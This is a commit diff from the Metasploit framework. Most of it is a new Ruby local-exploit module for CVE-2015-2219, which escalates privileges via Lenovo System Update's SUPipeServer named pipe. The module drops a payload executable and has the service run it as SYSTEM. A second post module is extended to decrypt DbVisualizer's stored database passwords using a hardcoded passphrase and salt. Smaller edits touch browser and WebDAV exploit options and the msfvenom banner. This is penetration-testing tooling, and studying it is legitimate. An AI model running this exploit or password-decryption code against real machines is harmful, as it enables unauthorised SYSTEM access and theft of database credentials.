|
||||
return
|
||||
end
|
||||
|
||||
case request.uri
|
||||
when /\.gif/
|
||||
if get_target.name =~ OperatingSystems::Match::WINDOWS_XP
|
||||
|
|
|
@ -43,7 +43,13 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
{
|
||||
:source => /script|headers/i,
|
||||
:os_name => OperatingSystems::Match::WINDOWS,
|
||||
:ua_name => /MSIE|KXCLIE/i
|
||||
:ua_name => /MSIE|KXCLIE/i,
|
||||
:activex => [
|
||||
{
|
||||
clsid: '{1A90B808-6EEF-40FF-A94C-D7C43C847A9F}',
|
||||
method: 'ProjectURL'
|
||||
}
|
||||
],
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
|
|
|
@ -35,7 +35,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
OptString.new('PATH', [ true, "The path to attempt to upload", '/webdav/']),
|
||||
OptString.new('FILENAME', [ false , "The filename to give the payload. (Leave Blank for Random)"]),
|
||||
OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication', 'wampp']),
|
||||
OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', 'xampp'])
|
||||
OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', 'xampp'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
|
|
@ -43,7 +43,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# The USERNAME and PASSWORD are registered again to make them more obvious they're
|
||||
# configurable.
|
||||
OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication', '']),
|
||||
OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', '']),
|
||||
OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', '']),
|
||||
OptString.new('PATH', [ true, "The path to attempt to upload", '/metasploit%RAND%.asp'])
|
||||
], self.class)
|
||||
end
|
||||
|
|
|
@ -0,0 +1,193 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Local
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Post::File
|
||||
include Msf::Exploit::FileDropper
|
||||
include Msf::Post::Windows::Priv
|
||||
include Msf::Post::Windows::Services
|
||||
|
||||
Rank = ExcellentRanking
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info, {
|
||||
'Name' => 'Lenovo System Update Privilege Escalation',
|
||||
'Description' => %q{
|
||||
The named pipe, \SUPipeServer, can be accessed by normal users to interact with the
|
||||
System update service. The service provides the possibility to execute arbitrary
|
||||
commands as SYSTEM if a valid security token is provided. This token can be generated
|
||||
by calling the GetSystemInfoData function in the DLL tvsutil.dll. Please, note that the
|
||||
System Update is stopped by default but can be started/stopped calling the Executable
|
||||
ConfigService.exe.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Micahel Milvich', # vulnerability discovery, advisory
|
||||
'Sofiane Talmat', # vulnerability discovery, advisory
|
||||
'h0ng10' # Metasploit module
|
||||
],
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'win',
|
||||
'SessionTypes' => ['meterpreter'],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'thread',
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows', { } ]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 2048,
|
||||
'DisableNops' => true
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
['OSVDB', '121522'],
|
||||
['CVE', '2015-2219'],
|
||||
['URL', 'http://www.ioactive.com/pdfs/Lenovo_System_Update_Multiple_Privilege_Escalations.pdf']
|
||||
],
|
||||
'DisclosureDate' => 'Apr 12 2015',
|
||||
'DefaultTarget' => 0
|
||||
}))
|
||||
|
||||
register_options([
|
||||
OptString.new('WritableDir', [false, 'A directory where we can write files (%TEMP% by default)']),
|
||||
OptInt.new('Sleep', [true, 'Time to sleep while service starts (seconds)', 4]),
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def check
|
||||
os = sysinfo['OS']
|
||||
|
||||
unless os =~ /windows/i
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
svc = service_info('SUService')
|
||||
if svc && svc[:display] =~ /System Update/
|
||||
vprint_good("Found service '#{svc[:display]}'")
|
||||
return Exploit::CheckCode::Appears
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def write_named_pipe(pipe, command)
|
||||
invalid_handle_value = 0xFFFFFFFF
|
||||
|
||||
r = session.railgun.kernel32.CreateFileA(pipe, 'GENERIC_READ | GENERIC_WRITE', 0x3, nil, 'OPEN_EXISTING', 'FILE_FLAG_WRITE_THROUGH | FILE_ATTRIBUTE_NORMAL', 0)
|
||||
handle = r['return']
|
||||
|
||||
if handle == invalid_handle_value
|
||||
fail_with(Failure::NoTarget, "#{pipe} named pipe not found")
|
||||
else
|
||||
vprint_good("Opended #{pipe}! Proceeding...")
|
||||
end
|
||||
|
||||
begin
|
||||
|
||||
# First, write the string length as Int32 value
|
||||
w = client.railgun.kernel32.WriteFile(handle, [command.length].pack('l'), 4, 4, nil)
|
||||
|
||||
if w['return'] == false
|
||||
print_error('The was an error writing to pipe, check permissions')
|
||||
return false
|
||||
end
|
||||
|
||||
# Then we send the real command
|
||||
w = client.railgun.kernel32.WriteFile(handle, command, command.length, 4, nil)
|
||||
|
||||
if w['return'] == false
|
||||
print_error('The was an error writing to pipe, check permissions')
|
||||
return false
|
||||
end
|
||||
ensure
|
||||
session.railgun.kernel32.CloseHandle(handle)
|
||||
end
|
||||
true
|
||||
end
|
||||
|
||||
|
||||
def get_security_token(lenovo_directory)
|
||||
unless client.railgun.get_dll('tvsutil')
|
||||
client.railgun.add_dll('tvsutil', "#{lenovo_directory}\\tvsutil.dll")
|
||||
client.railgun.add_function('tvsutil', 'GetSystemInfoData', 'DWORD', [['PWCHAR', 'systeminfo', 'out']], windows_name = nil, calling_conv = 'cdecl')
|
||||
end
|
||||
|
||||
dll_response = client.railgun.tvsutil.GetSystemInfoData(256)
|
||||
|
||||
dll_response['systeminfo'][0,40]
|
||||
end
|
||||
|
||||
|
||||
def config_service(lenovo_directory, option)
|
||||
cmd_exec("#{lenovo_directory}\\ConfigService.exe #{option}")
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
if is_system?
|
||||
fail_with(Failure::NoTarget, 'Session is already elevated')
|
||||
end
|
||||
|
||||
su_directory = service_info('SUService')[:path][1..-16]
|
||||
print_status('Starting service via ConfigService.exe')
|
||||
config_service(su_directory, 'start')
|
||||
|
||||
print_status('Giving the service some time to start...')
|
||||
Rex.sleep(datastore['Sleep'])
|
||||
|
||||
print_status("Getting security token...")
|
||||
token = get_security_token(su_directory)
|
||||
vprint_good("Security token is: #{token}")
|
||||
|
||||
if datastore['WritableDir'].nil? || datastore['WritableDir'].empty?
|
||||
temp_dir = get_env('TEMP')
|
||||
else
|
||||
temp_dir = datastore['WritableDir']
|
||||
end
|
||||
|
||||
print_status("Using #{temp_dir} to drop the payload")
|
||||
|
||||
begin
|
||||
cd(temp_dir)
|
||||
rescue Rex::Post::Meterpreter::RequestError
|
||||
fail_with(Failure::BadConfig, "Failed to use the #{temp_dir} directory")
|
||||
end
|
||||
|
||||
print_status('Writing malicious exe to remote filesystem')
|
||||
write_path = pwd
|
||||
exe_name = "#{rand_text_alpha(10 + rand(10))}.exe"
|
||||
|
||||
begin
|
||||
write_file(exe_name, generate_payload_exe)
|
||||
register_file_for_cleanup("#{write_path}\\#{exe_name}")
|
||||
rescue Rex::Post::Meterpreter::RequestError
|
||||
fail_with(Failure::Unknown, "Failed to drop payload into #{temp_dir}")
|
||||
end
|
||||
|
||||
print_status('Sending Execute command to update service')
|
||||
|
||||
begin
|
||||
write_res = write_named_pipe("\\\\.\\pipe\\SUPipeServer", "/execute #{exe_name} /arguments /directory #{write_path} /type COMMAND /securitycode #{token}")
|
||||
rescue Rex::Post::Meterpreter::RequestError
|
||||
fail_with(Failure::Unknown, 'Failed to write to pipe')
|
||||
end
|
||||
|
||||
unless write_res
|
||||
fail_with(Failure::Unknown, 'Failed to write to pipe')
|
||||
end
|
||||
|
||||
print_status('Stopping service via ConfigService.exe')
|
||||
config_service(su_directory, 'stop')
|
||||
end
|
||||
|
||||
end
|
|
@ -5,6 +5,8 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'msf/core/auxiliary/report'
|
||||
require 'openssl'
|
||||
require 'digest/md5'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
|
@ -17,25 +19,29 @@ class Metasploit3 < Msf::Post
|
|||
'Name' => 'Multi Gather DbVisualizer Connections Settings',
|
||||
'Description' => %q{
|
||||
DbVisualizer stores the user database configuration in dbvis.xml.
|
||||
This module retrieves the connections settings from this file.
|
||||
This module retrieves the connections settings from this file and decrypts the encrypted passwords.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'David Bloom' ], # Twitter: @philophobia78
|
||||
'Platform' => %w{ linux win },
|
||||
'SessionTypes' => [ 'meterpreter', 'shell']
|
||||
))
|
||||
register_options(
|
||||
[
|
||||
OptString.new('PASSPHRASE', [false, 'The hardcoded passphrase used for encryption']),
|
||||
OptInt.new('ITERATION_COUNT', [false, 'The iteration count used in key derivation', 10])
|
||||
], super.class)
|
||||
end
|
||||
|
||||
def run
|
||||
|
||||
|
||||
oldversion = false
|
||||
|
||||
case session.platform
|
||||
when /linux/
|
||||
user = session.shell_command("whoami").chomp
|
||||
user = session.shell_command('whoami').chomp
|
||||
print_status("Current user is #{user}")
|
||||
if (user =~ /root/)
|
||||
if user =~ /root/
|
||||
user_base = "/root/"
|
||||
else
|
||||
user_base = "/home/#{user}/"
|
||||
|
@ -50,11 +56,10 @@ class Metasploit3 < Msf::Post
|
|||
dbvis_file = user_profile + "\\.dbvis\\config70\\dbvis.xml"
|
||||
end
|
||||
|
||||
|
||||
unless file?(dbvis_file)
|
||||
# File not found, we next try with the old config path
|
||||
print_status("File not found: #{dbvis_file}")
|
||||
print_status("This could be an older version of dbvis, trying old path")
|
||||
print_status('This could be an older version of dbvis, trying old path')
|
||||
case session.platform
|
||||
when /linux/
|
||||
dbvis_file = "#{user_base}.dbvis/config/dbvis.xml"
|
||||
|
@ -68,7 +73,6 @@ class Metasploit3 < Msf::Post
|
|||
oldversion = true
|
||||
end
|
||||
|
||||
|
||||
print_status("Reading: #{dbvis_file}")
|
||||
print_line()
|
||||
raw_xml = ""
|
||||
|
@ -89,20 +93,14 @@ class Metasploit3 < Msf::Post
|
|||
end
|
||||
|
||||
if db_table.rows.empty?
|
||||
print_status("No database settings found")
|
||||
print_status('No database settings found')
|
||||
else
|
||||
print_line("\n")
|
||||
print_line
|
||||
print_line(db_table.to_s)
|
||||
print_good("Try to query listed databases with dbviscmd.sh (or .bat) -connection <alias> -sql <statements> and have fun !")
|
||||
print_good('Try to query listed databases with dbviscmd.sh (or .bat) -connection <alias> -sql <statements> and have fun!')
|
||||
print_line()
|
||||
# store found databases
|
||||
p = store_loot(
|
||||
"dbvis.databases",
|
||||
"text/csv",
|
||||
session,
|
||||
db_table.to_csv,
|
||||
"dbvis_databases.txt",
|
||||
"dbvis databases")
|
||||
# Store found databases in loot
|
||||
p = store_loot('dbvis.databases', 'text/csv', session, db_table.to_csv, 'dbvis_databases.txt', 'dbvis databases')
|
||||
print_good("Databases settings stored in: #{p.to_s}")
|
||||
end
|
||||
|
||||
|
@ -111,12 +109,11 @@ class Metasploit3 < Msf::Post
|
|||
print_good "dbvis.xml saved to #{p.to_s}"
|
||||
end
|
||||
|
||||
|
||||
# New config file parse function
|
||||
def parse_new_config_file(raw_xml)
|
||||
|
||||
db_table = Rex::Ui::Text::Table.new(
|
||||
'Header' => "Dbvis Databases",
|
||||
'Header' => "DbVisualizer Databases",
|
||||
'Indent' => 2,
|
||||
'Columns' =>
|
||||
[
|
||||
|
@ -126,18 +123,19 @@ class Metasploit3 < Msf::Post
|
|||
"Port",
|
||||
"Database",
|
||||
"Namespace",
|
||||
"Userid",
|
||||
"UserID",
|
||||
"Password"
|
||||
])
|
||||
|
||||
dbs = []
|
||||
db = {}
|
||||
dbfound = false
|
||||
versionFound = false
|
||||
version_found = false
|
||||
# fetch config file
|
||||
raw_xml.each_line do |line|
|
||||
|
||||
if versionFound == false
|
||||
vesrionFound = find_version(line)
|
||||
if version_found == false
|
||||
version_found = find_version(line)
|
||||
end
|
||||
|
||||
if line =~ /<Database id=/
|
||||
|
@ -157,37 +155,43 @@ class Metasploit3 < Msf::Post
|
|||
|
||||
if dbfound == true
|
||||
# get the alias
|
||||
if (line =~ /<Alias>([\S+\s+]+)<\/Alias>/i)
|
||||
if line =~ /<Alias>([\S+\s+]+)<\/Alias>/i
|
||||
db[:Alias] = $1
|
||||
end
|
||||
|
||||
# get the type
|
||||
if (line =~ /<Type>([\S+\s+]+)<\/Type>/i)
|
||||
if line =~ /<Type>([\S+\s+]+)<\/Type>/i
|
||||
db[:Type] = $1
|
||||
end
|
||||
|
||||
# get the user
|
||||
if (line =~ /<Userid>([\S+\s+]+)<\/Userid>/i)
|
||||
db[:Userid] = $1
|
||||
if line =~ /<Userid>([\S+\s+]+)<\/Userid>/i
|
||||
db[:UserID] = $1
|
||||
end
|
||||
|
||||
# get user password
|
||||
if line =~ /<Password>([\S+\s+]+)<\/Password>/i
|
||||
enc_password = $1
|
||||
db[:Password] = decrypt_password(enc_password)
|
||||
end
|
||||
|
||||
# get the server
|
||||
if (line =~ /<UrlVariable UrlVariableName="Server">([\S+\s+]+)<\/UrlVariable>/i)
|
||||
if line =~ /<UrlVariable UrlVariableName="Server">([\S+\s+]+)<\/UrlVariable>/i
|
||||
db[:Server] = $1
|
||||
end
|
||||
|
||||
# get the port
|
||||
if (line =~ /<UrlVariable UrlVariableName="Port">([\S+]+)<\/UrlVariable>/i)
|
||||
if line =~ /<UrlVariable UrlVariableName="Port">([\S+\s+]+)<\/UrlVariable>/i
|
||||
db[:Port] = $1
|
||||
end
|
||||
|
||||
# get the database
|
||||
if (line =~ /<UrlVariable UrlVariableName="Database">([\S+\s+]+)<\/UrlVariable>/i)
|
||||
if line =~ /<UrlVariable UrlVariableName="Database">([\S+\s+]+)<\/UrlVariable>/i
|
||||
db[:Database] = $1
|
||||
end
|
||||
|
||||
# get the Namespace
|
||||
if (line =~ /<UrlVariable UrlVariableName="Namespace">([\S+\s+]+)<\/UrlVariable>/i)
|
||||
if line =~ /<UrlVariable UrlVariableName="Namespace">([\S+\s+]+)<\/UrlVariable>/i
|
||||
db[:Namespace] = $1
|
||||
end
|
||||
end
|
||||
|
@ -196,40 +200,40 @@ class Metasploit3 < Msf::Post
|
|||
# Fill the tab and report eligible servers
|
||||
dbs.each do |db|
|
||||
if ::Rex::Socket.is_ipv4?(db[:Server].to_s)
|
||||
print_good("Reporting #{db[:Server]} ")
|
||||
print_good("Reporting #{db[:Server]}")
|
||||
report_host(:host => db[:Server]);
|
||||
end
|
||||
|
||||
db_table << [ db[:Alias] , db[:Type] , db[:Server], db[:Port], db[:Database], db[:Namespace], db[:Userid]]
|
||||
db_table << [ db[:Alias], db[:Type], db[:Server], db[:Port], db[:Database], db[:Namespace], db[:UserID], db[:Password] ]
|
||||
end
|
||||
return db_table
|
||||
end
|
||||
|
||||
|
||||
# New config file parse function
|
||||
def parse_old_config_file(raw_xml)
|
||||
|
||||
db_table = Rex::Ui::Text::Table.new(
|
||||
'Header' => "Dbvis Databases",
|
||||
'Header' => 'DbVisualizer Databases',
|
||||
'Indent' => 2,
|
||||
'Columns' =>
|
||||
[
|
||||
"Alias",
|
||||
"Type",
|
||||
"Url",
|
||||
"Userid",
|
||||
'Alias',
|
||||
'Type',
|
||||
'URL',
|
||||
'UserID',
|
||||
'Password'
|
||||
])
|
||||
|
||||
dbs = []
|
||||
db = {}
|
||||
dbfound = false
|
||||
versionFound = false
|
||||
version_found = false
|
||||
|
||||
# fetch config file
|
||||
raw_xml.each_line do |line|
|
||||
|
||||
if versionFound == false
|
||||
vesrionFound = find_version(line)
|
||||
if version_found == false
|
||||
vesrion_found = find_version(line)
|
||||
end
|
||||
|
||||
if line =~ /<Database id=/
|
||||
|
@ -243,48 +247,84 @@ class Metasploit3 < Msf::Post
|
|||
|
||||
if dbfound == true
|
||||
# get the alias
|
||||
if (line =~ /<Alias>([\S+\s+]+)<\/Alias>/i)
|
||||
if line =~ /<Alias>([\S+\s+]+)<\/Alias>/i
|
||||
db[:Alias] = $1
|
||||
end
|
||||
|
||||
# get the type
|
||||
if (line =~ /<Type>([\S+\s+]+)<\/Type>/i)
|
||||
if line =~ /<Type>([\S+\s+]+)<\/Type>/i
|
||||
db[:Type] = $1
|
||||
end
|
||||
|
||||
# get the user
|
||||
if (line =~ /<Userid>([\S+\s+]+)<\/Userid>/i)
|
||||
db[:Userid] = $1
|
||||
if line =~ /<Userid>([\S+\s+]+)<\/Userid>/i
|
||||
db[:UserID] = $1
|
||||
end
|
||||
|
||||
# get the user
|
||||
if (line =~ /<Url>([\S+\s+]+)<\/Url>/i)
|
||||
db[:Url] = $1
|
||||
#get the user password
|
||||
if line =~ /<Password>([\S+\s+]+)<\/Password>/i
|
||||
enc_password = $1
|
||||
db[:Password] = decrypt_password(enc_password)
|
||||
end
|
||||
|
||||
# get the server URL
|
||||
if line =~ /<Url>(\S+)<\/Url>/i
|
||||
db[:URL] = $1
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
# Fill the tab
|
||||
dbs.each do |db|
|
||||
if (db[:Url] =~ /[\S+\s+]+[\/]+([\S+\s+]+):[\S+]+/i)
|
||||
if (db[:URL] =~ /[\S+\s+]+[\/]+([\S+\s+]+):[\S+]+/i)
|
||||
if ::Rex::Socket.is_ipv4?($1.to_s)
|
||||
print_good("Reporting #{$1}")
|
||||
report_host(:host => $1.to_s)
|
||||
end
|
||||
end
|
||||
db_table << [ db[:Alias] , db[:Type] , db[:Url], db[:Userid] ]
|
||||
db_table << [ db[:Alias] , db[:Type] , db[:URL], db[:UserID], db[:Password] ]
|
||||
end
|
||||
return db_table
|
||||
end
|
||||
|
||||
|
||||
def find_version(tag)
|
||||
found = false
|
||||
if (tag =~ /<Version>([\S+\s+]+)<\/Version>/i)
|
||||
print_good("DbVisualizer version : #{$1}")
|
||||
if tag =~ /<Version>([\S+\s+]+)<\/Version>/i
|
||||
found = true
|
||||
print_good("DbVisualizer version: #{$1}")
|
||||
end
|
||||
return found
|
||||
found
|
||||
end
|
||||
|
||||
def decrypt_password(enc_password)
|
||||
enc_password = Rex::Text.decode_base64(enc_password)
|
||||
dk, iv = get_derived_key
|
||||
des = OpenSSL::Cipher.new('DES-CBC')
|
||||
des.decrypt
|
||||
des.key = dk
|
||||
des.iv = iv
|
||||
password = des.update(enc_password) + des.final
|
||||
end
|
||||
|
||||
def get_derived_key
|
||||
key = passphrase + salt
|
||||
iteration_count.times do
|
||||
key = Digest::MD5.digest(key)
|
||||
end
|
||||
return key[0,8], key[8,8]
|
||||
end
|
||||
|
||||
def salt
|
||||
[-114,18,57,-100,7,114,111,90].pack('C*')
|
||||
end
|
||||
|
||||
def passphrase
|
||||
datastore['PASSPHRASE'] || 'qinda'
|
||||
end
|
||||
|
||||
def iteration_count
|
||||
datastore['ITERATION_COUNT'] || 10
|
||||
end
|
||||
|
||||
end
|
||||
|
|
14
msfvenom
14
msfvenom
|
@ -54,7 +54,10 @@ require 'msf/core/payload_generator'
|
|||
opts = {}
|
||||
datastore = {}
|
||||
opt = OptionParser.new
|
||||
opt.banner = "Usage: #{$0} [options] <var=val>"
|
||||
banner = "MsfVenom - a Metasploit standalone payload generator.\n"
|
||||
banner << "Also a replacement for msfpayload and msfencode.\n"
|
||||
banner << "Usage: #{$0} [options] <var=val>"
|
||||
opt.banner = banner
|
||||
opt.separator('')
|
||||
opt.separator('Options:')
|
||||
|
||||
|
@ -292,7 +295,14 @@ if __FILE__ == $0
|
|||
$stdout.puts dump_encoders
|
||||
$stdout.puts dump_nops
|
||||
else
|
||||
$stderr.puts "Invalid module type"
|
||||
if mod == 'payload'
|
||||
question = ". Do you mean 'payloads'?"
|
||||
elsif mod == 'encoder'
|
||||
question = ". Do you mean 'encoders'?"
|
||||
elsif mod == 'nop'
|
||||
quesetion = ". Do you mean 'nops'?"
|
||||
end
|
||||
$stderr.puts "Invalid module type#{question}"
|
||||
end
|
||||
end
|
||||
exit(0)
|
||||
|
|
Loading…
Reference in New Issue